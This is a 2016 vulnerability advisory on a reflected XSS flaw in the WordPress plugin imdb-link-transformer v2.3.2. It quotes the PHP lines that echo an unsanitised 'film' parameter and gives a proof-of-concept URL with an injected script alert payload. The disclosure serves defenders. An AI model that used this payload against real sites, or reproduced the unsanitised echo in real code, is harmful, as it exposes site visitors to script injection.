Advisory #: 672
Title: Reflected XSS in wordpress plugin imdb-link-transformer v2.3.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/imdb-link-transformer
Downloads: 21897
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: imdb-link-transformer
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./imdb-link-transformer/inc/popup-header.php: 54: <meta name="keywords" lang="en" content="imdb, internet, movie, database, cinema, movie, wordpress, plugin, <?php echo $_GET["film"]; ?><?php if (isset($person)) echo ", ".$person->name(); ?>" /> 55: <meta name="description" lang="en" content="This page include the data related to <?php echo $_GET["film"]; ?>" /> The variable film appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./imdb-link-transformer/inc/popup-header.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/imdb-link-transformer/inc/popup-header.php?film="><script>alert(1);</script><"